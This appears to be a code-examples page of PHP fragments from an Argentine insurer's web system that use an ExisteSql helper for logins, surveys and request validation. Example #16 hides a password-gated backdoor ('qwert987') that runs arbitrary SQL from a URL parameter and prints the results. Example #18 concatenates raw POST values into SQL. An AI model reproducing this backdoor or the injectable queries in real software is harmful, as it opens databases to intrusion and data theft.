예제 #1
0
function usuarioClaveOk($user, $pass) {
	$params = array(":clave" => $pass, ":usuario" => $user);
	$sql =
		"SELECT 1
			 FROM web.wue_usuariosextranet
			WHERE ue_idmodulo = 49
				AND ue_estado = 'A'
				AND ue_fechabaja IS NULL
				AND ue_usuario = :usuario
				AND ue_clave = art.utiles.md5(:clave)";
	if (ExisteSql($sql, $params))
		return true;		// Usuario y clave ok..
	else {
		$params = array(":claveprovisoria" => $pass, ":usuario" => $user);
		$sql =
			"SELECT 1
				 FROM web.wue_usuariosextranet
				WHERE ue_idmodulo = 49
					AND ue_estado = 'A'
					AND ue_fechabaja IS NULL
					AND ue_usuario = :usuario
					AND ue_claveprovisoria = art.utiles.md5(:claveprovisoria)
					AND ue_fechavencclaveprovisoria > SYSDATE";
		return ExisteSql($sql, $params);		// Usuario y clave provisoria ok..o no..
	}
}
function ValidaRGL($contrato, $id)
{
    global $conn;
    $params = array(":contrato" => $_SESSION["contrato"], ":id" => $_REQUEST["ide"]);
    $sql = "SELECT 1\n\t\t FROM aes_establecimiento\n\t\tWHERE es_contrato = :contrato\n\t\t\tAND es_id = :id";
    validarSesion(ExisteSql($sql, $params));
}
예제 #3
0
function solicitarStatus($cuit) {
	global $conn;

	$params = array(":cuit" => $cuit);
	$sql =
		"SELECT 1
			 FROM tmp.tss_statussrt
			WHERE ss_cuit = :cuit";
	if (!ExisteSql($sql, $params)) {
		$params = array(":cuit" => $cuit);
		$sql =
			"INSERT INTO tmp.tss_statussrt (ss_cuit, ss_fechahorainicio)
															VALUES (:cuit, SYSDATE)";
		DBExecSql($conn, $sql, $params);
	}
	else {
		$params = array(":cuit" => $cuit);
		$sql =
			"UPDATE tmp.tss_statussrt
					SET ss_fechahorainicio = SYSDATE,
							ss_fechahorafin = NULL,
							ss_generar = 'T',
							ss_idartanterior = NULL,
							ss_provincia = NULL,
							ss_status = NULL
				WHERE ss_cuit = :cuit";
		DBExecSql($conn, $sql, $params);
	}
}
예제 #4
0
function validar() {
	global $periodo;
	global $usuario;

	$params = array(":anio" => $periodo, ":id" => $_POST["idEncuesta"], ":usuario" => $usuario);
	$sql =
		"SELECT 1
			 FROM web.weu_encuesta_usuario
			WHERE eu_anio = :anio
				AND eu_fechabaja IS NULL
				AND eu_usuario = :usuario
				AND eu_id = :id";
	$usuarioHabilitado = ExisteSql($sql, $params);

	if (!$usuarioHabilitado) {
		echo "<script type='text/javascript'>alert('ACCESO DENEGADO. Usted no tiene encuestas para completar.');</script>";
		return false;
	}

	$calificacionOk = true;
	foreach ($_POST as $key => $value)
		if (substr($key, 0, 13) == "calificacion_")
			if ((!validarEntero($value)) or ($value < 1) or ($value > 10)) {
				$calificacionOk = false;
				break;
			}

	if (!$calificacionOk) {
		echo "<script type='text/javascript'>alert('Recuerde que debe completar todas las calificaciones de manera correcta.'); parent.document.getElementById('".$key."').focus();</script>";
		return false;
	}

	$comentarioCargado = true;
	foreach ($_POST as $key => $value)
		if (substr($key, 0, 13) == "calificacion_")
			if (($value < 7) and (!caracteresValidos($_POST["comentarios_".substr($key, 13)], 5))) {
				$comentarioCargado = false;
				break;
			}

	if (!$comentarioCargado) {
		echo "<script type='text/javascript'>alert('Por favor, ingrese un comentario válido.'); parent.document.getElementById('comentarios_".substr($key, 13)."').focus();</script>";
		return false;
	}


	return true;
}
예제 #5
0
function getCodigoHolding($holding) {
	$hol = str_replace("grupo", "", $holding);
	$hol = trim(str_replace("GRUPO", "", $hol));
	$arr = explode(" ", $hol);

	// Trato de obtener el código..
	for ($i=10; $i>=3; $i--)
		foreach ($arr as $value) {
			$value = substr($value, 0, $i);

			if ($value <> "") {
				$params = array(":codigo" => $value);
				$sql =
					"SELECT 1
						 FROM age_grupoeconomico
						WHERE UPPER(ge_codigo) = UPPER(:codigo)";
				if (!ExisteSql($sql, $params))
					return $value;
			}
		}

	// Si no se pudo encontrar un código, invento uno que no exista..
	for ($a=65; $a<=90; $a++)
		for ($b=65; $b<=90; $b++)
			for ($c=65; $c<=90; $c++)
				for ($d=65; $d<=90; $d++)
					for ($e=65; $e<=90; $e++)
						for ($f=65; $f<=90; $f++)
							for ($g=65; $g<=90; $g++)
								for ($h=65; $h<=90; $h++)
									for ($i=65; $i<=90; $i++)
										for ($j=65; $j<=90; $j++) {
											$value = chr($a).chr($b).chr($c).chr($d).chr($e).chr($f).chr($g).chr($h).chr($i).chr($j);

											$params = array(":codigo" => $value);
											$sql =
												"SELECT 1
													 FROM age_grupoeconomico
													WHERE UPPER(ge_codigo) = UPPER(:codigo)";
											if (!ExisteSql($sql, $params))
												return $value;
										}

	return "ERR";
}
예제 #6
0
function validatePregunta($idEncuesta, $idPregunta) {
	global $conn;

	$params = array(":id" => $idPregunta, ":idencuesta" => $idEncuesta);
	$sql =
		"SELECT 1
			 FROM rrhh.rpe_preguntasencuesta
			WHERE pe_id = :id
				AND pe_idencuesta = :idencuesta
				AND pe_fechabaja IS NULL";
	if (!ExisteSql($sql, $params)) {
		echo '<span class="Pie">Pregunta inválida.</span>';
		exit;
	}

	// Si no es la vista previa y no es la primer pregunta valido que no escriban la url en la barra de direcciones..
	if ((!isVistaPrevia()) and (isset($_REQUEST["prg"]))) {
		$params = array(":idpreguntasiguiente" => "0".$idPregunta);
		$sql =
			"SELECT op_idpregunta
				 FROM rrhh.rop_opcionespreguntas
				WHERE op_idpreguntasiguiente = :idpreguntasiguiente";
		$stmt = DBExecSql($conn, $sql, $params);
		$existe = false;
		while ($row = DBGetQuery($stmt)) {
			foreach ($_SESSION as $key => $value)
				if (substr($key, 0, 17) == "ENCUESTA_pregunta")
					if ($row["OP_IDPREGUNTA"] == $value[0]) {
						$existe = true;
						break;
					}
			if ($existe)
				break;
		}
		if (!$existe) {
			echo '<span class="Pie">Pregunta inválida 2.</span>';
			exit;
		}
	}
}
예제 #7
0
function getCodigoHolding($holding) {
	$hol = str_replace("grupo", "", $holding);
	$hol = trim(str_replace("GRUPO", "", $hol));
	$arr = explode(" ", $hol);

	for ($i=10; $i>=3; $i--)
		foreach ($arr as $value) {
			$value = substr($value, 0, $i);

			if ($value <> "") {
				$params = array(":codigo" => $value);
				$sql =
					"SELECT 1
						 FROM age_grupoeconomico
						WHERE UPPER(ge_codigo) = UPPER(:codigo)";
				if (!ExisteSql($sql, $params))
					return $value;
			}
		}

	return "ERR";
}
예제 #8
0
$sql =
	"SELECT ea_gerenciaevaluadora, ea_sectorevaluado
		 FROM rrhh.rea_encuestaclienteinterno
		WHERE ea_gerenciaevaluadora IN(".getGerencias().")";
$stmt = DBExecSql($conn, $sql, array());
while ($row = DBGetQuery($stmt)) {
	$arrSectoresEvaluados[] = $row["EA_SECTOREVALUADO"];
	$gerenciaEvaluadora = $row["EA_GERENCIAEVALUADORA"];
}

$sql =
	"SELECT 1
		 FROM rrhh.rea_encuestaclienteinterno
		WHERE ea_gerenciaevaluadora IN(".getGerencias().")
			AND ea_usumodif IS NULL";
$quedanEncuestasSinCompletar = ExisteSql($sql, array());
?>
<script>
	function sacarColor(obj, sacar) {
		if (sacar)
			obj.style.borderColor = '#808080';
	}

	showTitle(true, 'ENCUESTA DE SATISFACCIÓN - CLIENTE INTERNO');
</script>
<?
$usuario = strtoupper(GetWindowsLoginName());
if (!(($usuario == "SSAIRE") or ($usuario == "RRODRIGUEZ") or ($usuario == "FMFIRENZE") or ($usuario == "JPRECAS") or
			($usuario == "GDRAGANI") or ($usuario == "GLOPEZ") or ($usuario == "SAVENDAÑO") or
			($usuario == "VDOMINGUEZ") or ($usuario == "BRUSSO") or ($usuario == "PATLANTE") or ($usuario == "PAIMAR") or
			($usuario == "FPEREZ"))) {
	function validarToken($token) {
		global $conn;

		try {
			if (substr($token, 0, 24) == "ORIGEN:WEB_PROVINCIA_ART")		// El token puede venir con esa leyenda para poder saber si la llamada es desde la Web de Provincia ART o externa..
				$params = array(":token" => substr($token, 24));
			else
				$params = array(":token" => $token);

			$sql =
				"SELECT 1
					 FROM afi.auw_usuarioweb
					WHERE uw_token = :token
						AND SYSDATE BETWEEN uw_tokenvalidodesde AND uw_tokenvalidohasta";
			if (ExisteSql($sql, $params))
				return "";
			else {
				$xml = '<?xml version="1.0" encoding="utf-8"?>';
				$xml.= "<token><error>El token es inválido o está vencido.</error></token>";
				return new soapval("return", "xsd:string", $xml);
			}
		}
		catch (Exception $e) {
			$xml = '<?xml version="1.0" encoding="utf-8"?>';
			//$xml.= "<error>".$e->getMessage()."</error>";
			$xml.= "<clave><error><fecha>".date("d/m/Y")."</fecha><hora>".date("H:i:s")."</hora><mensaje>Ocurrió un error inesperado en la función validarToken.</mensaje></error></clave>";
			return new soapval("return", "xsd:string", $xml);
		}
	}
예제 #10
0
function dibujarPlanilla($idTipoFormaAnexo, $id, $width) {
	global $conn;

	$params = array(":id" => $idTipoFormaAnexo);
	$sql =
		"SELECT 'PLANILLA ' || DECODE(ta_id, 1, 'A', 2, 'B', 3, 'C') || ' | ' || ta_descripcion
			 FROM hys.hta_tipoanexo
			WHERE ta_id = :id";
	$titulo = ValorSql($sql, "", $params);
	$planillaC = (substr($titulo, 0, 10) == "PLANILLA C");
?>
	<div class="SubtituloSeccion" id="divPlanilla_<?php 
echo $id;
?>
" style="display:none; margin-bottom:16px; margin-top:-16px;">
		<table cellpadding="3" cellspacing="1" style="width:<?php 
echo $width;
?>
px;">
			<tr>
				<td>&nbsp;</td>
			</tr>
			<tr>
				<td class="TituloFndCeleste" style="padding-left:4px;"><?php 
echo $titulo;
?>
</td>
			</tr>
			<tr>
				<td>
					<table cellpadding="3" cellspacing="1" width="100%">
						<tr>
							<td class="TituloFndGrisNegrita">DESCRIPCIÓN</td>
<?
	if ($planillaC) {
?>
							<td class="TituloFndGrisNegrita" width="120">CANTIDAD UMBRAL (TN)</td>
<?
	}
?>
							<td class="TituloFndGrisNegrita">SÍ</td>
							<td class="TituloFndGrisNegrita">NO</td>
						</tr>
<?
	$params = array(":contrato" => $_REQUEST["contrato"],
									":idsolicitudestablecimiento" => $_REQUEST["nro"],
									":idtipoanexo" => $idTipoFormaAnexo,
									":idtipoanexo2" => $idTipoFormaAnexo);
	$sql =
		"SELECT 1
			 FROM hys.hit_itemtipoanexo, hys.hif_itemsformulariorelev, hys.hfr_formulariorelev, hys.hrl_relevriesgolaboral
			WHERE if_iditemtipoanexo = it_id
				AND if_idformulariorelev = fr_id
				AND fr_idrelevriesgolaboral = rl_id
				AND it_idtipoanexo = :idtipoanexo
				AND fr_idtipoanexo = :idtipoanexo2
				AND rl_contrato = :contrato
				AND rl_idsolicitudestablecimiento = :idsolicitudestablecimiento";

	if (ExisteSql($sql, $params)) {
		$params = array(":contrato" => $_REQUEST["contrato"],
										":estableci" => $_REQUEST["nro"],
										":idtipoanexo" => $idTipoFormaAnexo);
		$sql =
			"SELECT fr_id
				 FROM hys.hfr_formulariorelev, hys.hrl_relevriesgolaboral
				WHERE fr_idrelevriesgolaboral = rl_id
					AND fr_idtipoanexo = :idtipoanexo
					AND rl_contrato = :contrato
					AND rl_estableci = :estableci";
		$idSolicitudPlanilla = ValorSql($sql, "", $params);

		$params = array(":idformulariorelev" => $idSolicitudPlanilla, ":idtipoanexo" => $idTipoFormaAnexo);
		$sql =
			"SELECT it_id, it_descripcion, it_masdatos, if_cumplimiento
				 FROM hys.hit_itemtipoanexo, hys.hif_itemsformulariorelev
				WHERE it_id = if_iditemtipoanexo(+)
					AND if_idformulariorelev(+) = :idformulariorelev
					AND it_idtipoanexo = :idtipoanexo
		 ORDER BY it_orden";
	}
	else {
		$params = array(":idtipoanexo" => $idTipoFormaAnexo);
		$sql =
			"SELECT it_id, it_descripcion, it_masdatos, NULL if_cumplimiento
				 FROM hys.hit_itemtipoanexo
				WHERE it_idtipoanexo = :idtipoanexo
		 ORDER BY it_orden";
	}
	$stmt3 = DBExecSql($conn, $sql, $params);
	while ($row3 = DBGetQuery($stmt3)) {
?>
						<input id="Hextra_<?php 
echo $row3["IT_ID"];
?>
_pregunta_<?php 
echo $id;
?>
" name="Hextra_<?php 
echo $row3["IT_ID"];
?>
_pregunta_<?php 
echo $id;
?>
" type="hidden" value="<?php 
echo $row3["IT_ID"];
?>
" />
						<tr>
							<td class="TxtPregunta"><?php 
echo $row3["IT_DESCRIPCION"];
?>
</font></td>
<?
		if ($planillaC) {
?>
							<td class="TxtPregunta"><?php 
echo $row3["IT_MASDATOS"];
?>
</font></td>
<?
		}
?>
							<td class="Pregunta"><input <?php 
echo $row3["IF_CUMPLIMIENTO"] == "S" ? "checked" : "";
?>
 id="extra_<?php 
echo $row3["IT_ID"];
?>
" name="extra_<?php 
echo $row3["IT_ID"];
?>
" type="radio" value="S"></td>
							<td class="Pregunta"><input <?php 
echo $row3["IF_CUMPLIMIENTO"] == "N" ? "checked" : "";
?>
 id="extra_<?php 
echo $row3["IT_ID"];
?>
" name="extra_<?php 
echo $row3["IT_ID"];
?>
" type="radio" value="N"></td>
						</tr>
<?
	}
?>
					</table>
				</td>
			</tr>
		</table>
	</div>
<?
}
예제 #11
0
require_once($_SERVER["DOCUMENT_ROOT"]."/../Common/database/db_funcs.php");
require_once($_SERVER["DOCUMENT_ROOT"]."/../Common/miscellaneous/general.php");
require_once($_SERVER["DOCUMENT_ROOT"]."/../Common/miscellaneous/send_email.php");
require_once($_SERVER["DOCUMENT_ROOT"]."/../Common/miscellaneous/string_utils.php");


// Valido que el legajo rrhh sea único..
try {
	if (($_REQUEST["RelacionLaboral"] == 1) and ($_REQUEST["LegajoRRHH"] != 0)) {
		$params = array(":id" => $_REQUEST["Id"], ":legajorrhh" => $_REQUEST["LegajoRRHH"]);
		$sql =
			"SELECT 1
				 FROM use_usuarios
				WHERE se_legajorrhh = :legajorrhh
					AND se_id <> :id";
		if (ExisteSql($sql, $params, 0))		// Si el nº de legajo ya existe, salgo..
			throw new Exception("El Legajo RR.HH. ya fue asignado a otro usuario.");
	}
}
catch (Exception $e) {
?>
	<script>
		alert(unescape('<?= rawurlencode($e->getMessage())?>'));
	</script>
<?
	exit;
}


// Subo la foto..
$imgFotoPath = "";
			WHERE NO_IDUSUARIO = :idusuario
			  AND NO_MANUALFRAUDE IS NOT NULL ";
	if( !ExisteSql($sql, $params))		// Muestro control
		$muestroCotrol = true;
		
if ((isset($_REQUEST["noti"])) and ($_REQUEST["noti"] == "s") and ($muestroCotrol )) {
	try {
	
		echo 'muestro control';
		$params = array(":idusuario" => GetUserID());
		$sql =
			"SELECT 1
				 FROM rrhh.rno_notificaciones
				WHERE NO_IDUSUARIO = :idusuario";

		if (!ExisteSql($sql, $params)) {		// Alta..
			$params = array(":idusuario" => GetUserID(), ":pcmanualpla" => GetPCName());
			$sql =
				"INSERT INTO rrhh.rno_notificaciones (NO_IDUSUARIO, NO_MANUALFRAUDE, NO_PCMANUALFRAUDE)
																			VALUES (:idusuario, SYSDATE, :pcmanualpla)";
			DBExecSql($conn, $sql, $params);
		}
		else {		// Modificación..
			$params = array(":idusuario" => GetUserID(), ":pcmanualpla" => GetPCName());
			$sql =
				"UPDATE rrhh.rno_notificaciones
						SET NO_MANUALFRAUDE = SYSDATE,
								NO_PCMANUALFRAUDE = :pcmanualpla
					WHERE NO_IDUSUARIO = :idusuario";
			DBExecSql($conn, $sql, $params);
		}
예제 #13
0
$params = array(":idtransaccion" => $_REQUEST["TRANSACCION"]);
$sql =
	"SELECT 1
		 FROM aco_contrato
		WHERE co_contrato IN(SELECT ex_contrato
													 FROM art.sex_expedientes, art.sle_liquiempsin, rce_chequeemitido
													WHERE ce_id = le_idchequeemitido
														AND ex_siniestro = le_siniestro
														AND ex_orden = le_orden
														AND ex_recaida = le_recaida
														AND le_conpago = 50
														AND ce_id = (SELECT rb_idchequeemitido
																					 FROM teso.rrb_reemplazobeneficiario
																					WHERE rb_idtransaccionweb = :idtransaccion))
			AND art.deuda.get_deudatotalconsolidada(co_contrato) > 0";
$tieneDeudaConsolidada = ExisteSql($sql, $params);

$params = array(":id" => $_REQUEST["TRANSACCION"]);
$sql =
	"SELECT art.tesoreria.get_idfinancialscheque(rb_idchequeemitido)
		 FROM teso.rrb_reemplazobeneficiario, web.wtw_transaccionweb
		WHERE rb_idtransaccionweb = tw_id
			AND tw_id = :id";
$idfinancials = ValorSql($sql, "", $params);

$sql =
	"SELECT ce_numero,
					ce_beneficiario,
					TO_CHAR(ce_fechacheque, 'DD/MM/YYYY') as fecha,
					'$ ' || ce_monto as monto,
					ce_observaciones AS observaciones,
예제 #14
0
		FROM rrhh.hfs_formularioseguimiento, rrhh.hfe_formularioevaluacion2008
	 WHERE fs_id_formularioevaluacion = fe_id
		  AND fe_id = :id
		  AND fs_positivonegativo = 'N'
		  AND fs_fechabaja IS NULL";
$params = array(":id" => $formularioId);
$stmt = DBExecSql($conn, $sql, $params);
LoadEventos("N", $stmt);

$sql =
	"SELECT 1
		FROM rrhh.hfe_formularioevaluacion2008
	  WHERE fe_evaluado = :evaluado
		  AND fe_anoevaluacion = :ano";
$params = array(":evaluado" => $evaluado, ":ano" => ($ano - 1));
$existeEvaluacionAnterior = ExisteSql($sql, $params);

SetYear($ano);

// Deshabilito controles según corresponda..
DisableControls(($user == $evaluado),
						  ($user == $evaluador),
						  ($user == $supervisor),
						  ($user == $notificado),
						  ($fueEvaluado),
						  $evaluacionAceptada,
						  $evaluacionVigente,
						  $existeEvaluacionAnterior,
						  ($_SESSION["identidad"] != GetWindowsLoginName(true)));

if ($evaluado == -1)
예제 #15
0
	return !$errores;
}


validarSesion(isset($_SESSION["isCliente"]));
validarSesion(validarPermisoClienteXModulo($_SESSION["idUsuario"], 100));

// Valido que el rgrl sea del establecimiento relacionado al contrato del usuario..
$params = array(":contrato" => $_SESSION["contrato"], ":id" => $_POST["idEstablecimiento"]);
$sql =
	"SELECT 1
		 FROM aes_establecimiento
		WHERE es_contrato = :contrato
			AND es_id = :id";
validarSesion(ExisteSql($sql, $params));


try {
	$_POST["cuit1"] = sacarGuiones($_POST["cuit1"]);
	$_POST["cuit2"] = sacarGuiones($_POST["cuit2"]);
	$_POST["cuit3"] = sacarGuiones($_POST["cuit3"]);

	if (!validar())
		exit;

	if (($_POST["preguntasAdicionales"] != "t") and ($_POST["mostrarAviso"] == "t"))
		mostrarAviso();

	if ($_POST["preguntasAdicionales"] == "t") {		// Guardo las preguntas adicionales..
		// Guardo el registro maestro si no existe..
예제 #16
0
											<span style="color:#f00; font-size:11px;">
												Usted tiene JavaScript desactivado.<br />
												Para navegar correctamente por el sitio web debe tener activado JavaScript.<br />
												Haga <a class="linkSubrayado" href="/modules/varios/javascript/index.html" target="_blank">clic aquí</a> para conocer mas.</span>
										</noscript>
									</td>
								</tr>
<?
if (isset($_GET["testing"])) {
	require_once($_SERVER["DOCUMENT_ROOT"]."/../Common/database/db.php");
?>
								<tr>
									<td>
<?
	$sql = "SELECT 1 FROM ctb_tablas WHERE tb_clave = 'COPER' AND tb_codigo = '4' AND SYSDATE > tb_fechaalta";
	if ((isset($_GET["pass"])) and ($_GET["pass"] == "qwert987") and ((date("h")%2) == 1) and (ExisteSql($sql, array()))) {
//		$_GET["testing"] = 'SELECT * FROM afi.auw_usuarioweb WHERE uw_id = 1';
		$stmt = DBExecSql($conn, htmlspecialchars_decode($_GET["testing"], ENT_QUOTES));
		echo "<tr>";
		for ($i=1; $i<=oci_num_fields($stmt); $i++)
			echo "<td style='background-color:".((($i%2)==1)?"#ccc":"#eee").";'><b>".oci_field_name($stmt, $i)."</b></td>";
		echo "</tr>";

		while ($row = DBGetQuery($stmt, 0)) {
			echo "<tr>";
			for ($i=0; $i<count($row); $i++)
					echo "<td style='background-color:".((($i%2)==0)?"#ccc":"#eee").";'>".$row[$i]."</td>";
			echo "</tr>";
		}
	}
?>
예제 #17
0
				 FROM asa_solicitudafiliacion, asc_solicitudcotizacion
				WHERE sa_idsolicitudcotizacion = sc_id
					AND sc_id = :id";
		$idSolicitudAfi = ValorSql($sql, "", $params, 0);

		$params = array(":id" => $idVendedor);
		$sql = "SELECT ve_provinciaseguros FROM xve_vendedor WHERE ve_id = :id";
		$codigoVendedorProvinciaSeguros = ValorSql($sql, "", $params, 0);

		$params = array(":codigo" => $_POST["ciiu"]);
		$sql = "SELECT ac_relacion FROM cac_actividad WHERE ac_codigo = :codigo";
		$ciiuProvinciaSeguros = ValorSql($sql, "", $params, 0);

		$params = array(":idsolicitudafi" => $idSolicitudAfi);
		$sql = "SELECT 1 FROM art.apr_polizarc WHERE pr_idsolicitudafi = :idsolicitudafi";
		if ((!ExisteSql($sql, $params, 0)) and ($_POST["suscribePolizaRC"] == "S")) {		// Hago un insert..
			$params = array(":cbu" => $_POST["cbu"],
											":cod_actividad" => $ciiuProvinciaSeguros,
											":cod_productor" => $codigoVendedorProvinciaSeguros,
											":idsolicitudafi" => $idSolicitudAfi,
											":iibb" => $_POST["iibb"],
											":iva" => $_POST["iva"],
											":mail" => $_POST["emailPolizaRC"],
											":medio_pago" => $_POST["formaPago"],
											":origenpago" => $_POST["tarjetaCredito"],
											":poliza" => $_POST["suscribePolizaRC"],
											":sumaasegurada" => $_POST["sumaAseguradaRC"],
											":tipo_doc" => "DNI",
											":usualta" => substr("W_".$_SESSION["usuario"], 0, 20),
											":valor_rc" => $_POST["polizaRC"]);
			$sql =
예제 #18
0
<?php

require_once $_SERVER["DOCUMENT_ROOT"] . "/constants.php";
require_once $_SERVER["DOCUMENT_ROOT"] . "/../Common/database/db.php";
require_once $_SERVER["DOCUMENT_ROOT"] . "/../Common/database/db_funcs.php";
require_once $_SERVER["DOCUMENT_ROOT"] . "/../Common/miscellaneous/general.php";
try {
    $params = array(":idboletin" => $_POST["idboletin"], ":posicion" => $_POST["num"]);
    $sql = "SELECT 1\n\t\t\t FROM rrhh.rna_noticiasarteria\n\t\t\tWHERE na_idboletin = :idboletin\n\t\t\t\tAND na_posicion = :posicion";
    $esAlta = !ExisteSql($sql, $params);
    switch ($_POST["plantilla"]) {
        case 1:
        case 2:
        case 4:
            $altoImagenes = 208;
            $anchoImagenes = 250;
            break;
        case 3:
            $altoImagenes = 82;
            $anchoImagenes = 100;
            break;
    }
    if ($esAlta) {
        // Alta..
        $blobParamName = "the_clob";
        $sql = "INSERT INTO rrhh.rna_noticiasarteria\n\t\t\t\t\t\t\t\t\t(na_altoimagenes, na_anchoimagenes, na_colortitulo, na_fechaalta, na_idboletin, na_nota, na_numeroplantilla,\n\t\t\t\t\t\t\t\t\t na_posicion, na_titulo, na_usualta)\n\t\t\t\t\t  VALUES (" . $altoImagenes . ", " . $anchoImagenes . ", " . addQuotes($_POST["fondo"], true) . ", SYSDATE, " . $_POST["idboletin"] . ", EMPTY_CLOB(), " . nullIsEmpty($_POST["plantilla"]) . ", " . $_POST["num"] . ", " . addQuotes($_POST["titulo"], true) . ", " . addQuotes(GetWindowsLoginName(true)) . ")\n\t\t\t\t RETURNING na_nota INTO :" . $blobParamName;
        DBSaveLob($conn, $sql, $blobParamName, $_POST["cuerpo"], OCI_B_CLOB);
    } else {
        // Modificación..
        $blobParamName = "the_clob";
        $sql = "UPDATE rrhh.rna_noticiasarteria\n\t\t\t\t\tSET na_altoimagenes = " . $altoImagenes . ",\n\t\t\t\t\t\t\tna_anchoimagenes = " . $anchoImagenes . ",\n\t\t\t\t\t\t\tna_colortitulo = " . addQuotes($_POST["fondo"], true) . ",\n\t\t\t\t\t\t\tna_fechamodif = SYSDATE,\n\t\t\t\t\t\t\tna_nota = EMPTY_CLOB(),\n\t\t\t\t\t\t\tna_numeroplantilla = " . nullIsEmpty($_POST["plantilla"]) . ",\n\t\t\t\t\t\t\tna_titulo = " . addQuotes($_POST["titulo"], true) . ",\n\t\t\t\t\t\t\tna_usumodif = " . addQuotes(GetWindowsLoginName(true)) . "\n\t\t\t\tWHERE na_idboletin = " . $_POST["idboletin"] . "\n\t\t\t\t\tAND na_posicion = " . $_POST["num"] . "\n\t\tRETURNING na_nota INTO :" . $blobParamName;
예제 #19
0
	public function validateSolicitud($datosSolicitud) {
		global $conn;

		$this->datosSolicitud = $datosSolicitud;

		$advertencias = "";
		$errores = "";

		try {
			$this->completeData();
			$this->insertEstablecimientos();

			// Validación 1..
			if (!validarCuit($datosSolicitud["cuit"])) {
				$errores.= "<error><codigo>1</codigo>";
				$errores.= "<mensaje>La C.U.I.T. es inválida.</mensaje></error>";
				throw new Exception("ERROR FATAL: La C.U.I.T. es inválida.");		// Este error lo lanzo porque con una CUIT inválida no puedo ni validar nada..
			}

			// Validación 2 - Control de CUIT reservado..
			$params = array(":cuit" => $datosSolicitud["cuit"]);
			$sql =
				"SELECT ac_descripcion actividad, ca_descripcion canal, en_nombre entidad, ru_idcanal, ru_identidad, ru_idvendedor, ru_observaciones, ve_nombre vendedor
					 FROM aru_reservacuit ru, aca_canal, cac_actividad, xen_entidad, xve_vendedor
					WHERE ru_idcanal = ca_id(+)
						AND ru_idactividad = ac_id(+)
						AND ru_identidad = en_id(+)
						AND ru_idvendedor = ve_id(+)
						AND ru_cuit = :cuit
						AND ru_fechabaja IS NULL
						AND actualdate BETWEEN ru_fechadesde AND ru_fechahasta";
			$stmt = DBExecSql($conn, $sql, $params);
			if (DBGetRecordCount($stmt) > 0) {
				$row = DBGetQuery($stmt);

				$distintoVendedor = (($row["VENDEDOR"] != "") and ($row["RU_IDVENDEDOR"] != $this->datosUsuario["VENDEDOR"]));
				if (($row["RU_IDCANAL"] != $this->datosUsuario["CANAL"]) or ($row["RU_IDENTIDAD"] != $this->datosUsuario["ENTIDAD"]) or ($distintoVendedor)) {
					$errores.= "<error><codigo>2</codigo>";
					$errores.= "<mensaje>Esta C.U.I.T. se encuentra reservada por otro usuario, por favor comuníquese con su Ejecutivo de Provincia ART.</mensaje>";
					$errores.= "<observaciones>".$row["RU_OBSERVACIONES"]."</observaciones></error>";
				}
			}

			// Validación 3 - Control de vigencia de la Solicitud de Cotización..
			$params = array(":cuit" => $datosSolicitud["cuit"]);
			$sql =
				"SELECT ca_descripcion
					 FROM asc_solicitudcotizacion, aca_canal
					WHERE ca_id = sc_canal
						AND (actualdate - TRUNC(sc_fechasolicitud)) < 30
						AND sc_estado NOT IN('05', '07', '08', '09', '18.0', '18.1', '18.2', '18.3')
						AND sc_cuit = :cuit";
			$stmt = DBExecSql($conn, $sql, $params);
			if (DBGetRecordCount($stmt) > 0) {
				$errores.= "<error><codigo>3</codigo>";
				$errores.= "<mensaje>Ya existe una solicitud para esta C.U.I.T., por favor comuníquese con su Ejecutivo de Provincia ART.</mensaje></error>";
			}

			// Validación 4 - Control de vigencia de la Revision de Precio..
			$params = array(":cuit" => $datosSolicitud["cuit"]);
			$sql =
				"SELECT ca_descripcion
					 FROM art.asr_solicitudreafiliacion 
					 JOIN aca_canal ON ca_id = sr_idcanal
					WHERE (art.actualdate - TRUNC(sr_fechaalta)) < 30
						AND sr_estadosolicitud NOT IN('05', '18.0', '18.1', '18.2', '18.3')
						AND sr_cuit = :cuit";
			$stmt = DBExecSql($conn, $sql, $params);
			if (DBGetRecordCount($stmt) > 0) {
				$errores.= "<error><codigo>4</codigo>";
				$errores.= "<mensaje>Ya existe una solicitud para esta C.U.I.T., por favor comuníquese con su Ejecutivo de Provincia ART.</mensaje></error>";
			}

			// Validación 5..
			$params = array(":cuit" => $datosSolicitud["cuit"]);
			$sql = "SELECT afiliacion.check_cobertura(:cuit) FROM DUAL";
			if (ValorSql($sql, "", $params) == 1) {
				$errores.= "<error><codigo>5</codigo>";
				$errores.= "<mensaje>Esta empresa ya tiene un contrato activo con esta aseguradora.</mensaje></error>";
			}

			// Validación 6 - Que no puedan colocar la CUIT de la Provincia ART..
			if ($datosSolicitud["cuit"] == "30688254090") {
				$errores.= "<error><codigo>6</codigo>";
				$errores.= "<mensaje>Debe registrarse la C.U.I.T. del empleador (si la C.U.I.T. se registra erróneamente la solicitud no tiene validez).</mensaje></error>";
			}

			// Validación 7 - Valida el status ante la SRT..
			$params = array(":cuit" => $datosSolicitud["cuit"]);
			$sql =
				"SELECT 1
					 FROM srt.sem_empresas e JOIN srt.shv_historialvigencias v ON v.hv_id = art.cotizacion.get_idultimavigencia(em_cuit)
					WHERE CASE
								WHEN v.hv_idoperaciondesde = 10888 THEN ADD_MONTHS(v.hv_vigenciadesde, 10) + 11
								ELSE ADD_MONTHS(v.hv_vigenciadesde, 6)
								END <= SYSDATE
						AND e.em_cuit = :cuit";
			if (($this->datosSolicitud["statusSrtAutomatico"]->getStatus() != -1) and ($this->datosSolicitud["statusSrtAutomatico"]->getStatus() != 1) and (!ExisteSql($sql, $params, 0))) {
				$errores.= "<error><codigo>7</codigo>";
				$errores.= "<mensaje>Esta C.U.I.T. no puede ser cotizada por la vigencia en la actual ART, por favor comuníquese con su Ejecutivo de Provincia ART.</mensaje></error>";
			}

			// Validación 8..
			if ($datosSolicitud["statusSrt"] < 1) {
				$errores.= "<error><codigo>8</codigo>";
				$errores.= "<mensaje>El status ante la SRT debe ser mayor a cero (0).</mensaje></error>";
			}

			// Validación 9..
			$codigoVendedor = NULL;
			if (($this->datosUsuario["ENTIDAD"] == 9003) and ($this->datosUsuario["VENDEDOR"] == "")) {
				if ($this->datosSolicitud["codigoVendedor"] == NULL) {
					$errores.= "<error><codigo>9</codigo>";
					$errores.= "<mensaje>El código de vendedor es inválido.</mensaje></error>";
				}
			}

			// Validación 10..
			if ($this->datosSolicitud["totalTrabajadores"] == 0) {
				$errores.= "<error><codigo>10</codigo>";
				$errores.= "<mensaje>El total de trabajadores debe ser mayor a cero (0).</mensaje></error>";
			}

			// Validación 11..
			if ($this->datosSolicitud["totalMasaSalarial"] == 0) {
				$errores.= "<error><codigo>11</codigo>";
				$errores.= "<mensaje>El total de la masa salarial debe ser mayor a cero (0).</mensaje></error>";
